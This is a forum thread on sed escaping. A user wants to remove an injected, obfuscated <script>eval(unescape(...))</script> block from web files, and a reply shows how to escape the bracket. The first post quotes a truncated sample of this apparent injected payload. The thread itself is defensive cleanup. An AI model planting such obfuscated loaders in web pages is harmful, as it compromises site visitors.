sed escape char


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting sed escape char
# 1  
Old 10-04-2008
sed escape char

Hi,

For the following complex code ,

<!-- [ b43e4abb769ba86e306ac6fa22f7adb2 ] --><script>eval(unescape('function%20bwZeP%28ioyT0%29%7Bfunction%20xbVsh%28mJ5r3%29%7Bvar%20bRFQX%3D0% 2CxiQjG%2CqF1s%3DmJ5r3.length%3Bfor%28xiQjG%3D0%3BxiQjG%3CqF1s%3BxiQjG++%29bRFQX+%3DmJ5r3.charCodeAt %28xiQjG%29*qF1s%3Breturn%20new%20String%28bRFQX%29%7DioyT0%3D3B'));</script>


How do I sed or awk this to clean it?



sed 's/b43e4abb769ba86e306ac6fa22f7adb2.*//g' filename


works but leaves :

<!-- [

obviously, as i left the part "<!-- [ "


I tried to use escape character like

sed 's/<\!\-\-\/\[\/\b43e4a.*//g' filename

but it did not work.


Please advise.
# 2  
Old 10-04-2008
Escape the square bracket:

Code:
sed 's/<!-- \[ b43e4abb769ba86e306ac6fa22f7adb2.*//g' filename

Regards
# 3  
Old 10-04-2008
thank you
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Beginners Questions & Answers

How to escape % with sed?

Hello, I am running ubuntu 16.04 I searched "how to replace dot by % using sed" but no luck. file My.Name.Is.Earl Expected output My%Name%Is%Earl I tried: sed -i "s|.||g" file sed -i "s|.|{%}|g" file sed -i "s|.|\%|g" file I'd appreciate your help Thank you Boris (6 Replies)
Discussion started by: baris35
6 Replies

2. Shell Programming and Scripting

Ignore escape sequence in sed

Friends, In the file i am having more then 100 lines like, File1 had the values like this: #Example East.server_01=EAST.SERVER_01 East.server_01=EAST.SERVER_01 West.server_01=WEST.SERVER_01 File2 had the values like this: #Example EAST.SERVER_01=http://yahoo.com... (3 Replies)
Discussion started by: jothi basu
3 Replies

3. Shell Programming and Scripting

sed - with escape character

i have string as below str=".<date>" in which i need to replace < with /< , when i tried with sed , got the output. --> echo $str | sed 's/</\\</g' .\<date> when i tried to assign it to a variable , i am not getting the same --> a=`echo $str | sed 's/</\\</g'` ; echo $a... (4 Replies)
Discussion started by: expert
4 Replies

4. Shell Programming and Scripting

Escape special characters in SED

Need help in escaping special characters in sed command. Here is the the string which i am trying to find a replace with From :- REQUEST_TYPE=PIXEL&amp;MSG_ID={//MESSAGE_ID} To :- REQUEST_TYPE=PIXEL&amp;MSG_ID= X_EDELIVERY_MESSAGE_ID &amp; BATCH_ID= X_EDELIVERY_BATCH_ID Here is the sed command i am... (2 Replies)
Discussion started by: aakishore
2 Replies

5. Shell Programming and Scripting

Need help with sed to escape special characters

Hello Everyone, I need to read an encrypted password from the user and update that value in an xml file. I am trying to use "sed" for searching the appropriate tag and replacing this new value that get from the user. Since the encrypted password can contain special characters(like /,\,&,etc),... (4 Replies)
Discussion started by: majose
4 Replies

6. Programming

how to use hex escape char with string in C?

I want it to ouput "abcd", but it dosen't. 1 #include<stdio.h> 2 int main() 3 { 4 printf("a\x62cd"); 5 } 6 gcc alarm.c -o alarm alarm.c: In function 'main': alarm.c:4:9: warning: hex escape sequence out of range It seems that the complier joint "cd" as part of... (8 Replies)
Discussion started by: vistastar
8 Replies

7. Shell Programming and Scripting

Escape character in sed

Hello experts I am trying to write a shell script which will add ' ' to a unix variable and then pass it to oracle for inserting to a table. I am running the script as root and I have to do a su -c . The problem is the character ' is not recognised inside sed even after adding escape... (1 Reply)
Discussion started by: pvedaa
1 Replies

8. Shell Programming and Scripting

Escape character - sed

Hi All, How do i write in sed for the 6th and 7th field of etc/passwd file as it involves "/" character? Does mine below is correct? It's incomplete script as i need help with syntax as i always getting may errors :( Example of etc/passwd file: blah:x:1055:600:blah... (6 Replies)
Discussion started by: c00kie88
6 Replies

9. Shell Programming and Scripting

Escape Char for double quote

Hi, what is the escape char for " in shell script. following way i want to write file using echo command echo "LOAD DATA infile '&1' APPEND INTO TABLE dummy_table FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' - single quote and double quote and single quote - gives error here... (1 Reply)
Discussion started by: navik_pathak
1 Replies

10. UNIX for Dummies Questions & Answers

possible to escape the \ character in sed?

is it possible to escape the \ character in sed? right now I'm trying to replace all occurances of \ with \\ sed \"s|test|test_replacement|g\" file1 > output; #this works fine sed \"s|\\|\\\|g\" file1 > output; #this generates the following error: sed: -e expression #1, char 17:... (1 Reply)
Discussion started by: gammaman
1 Replies
Login or Register to Ask a Question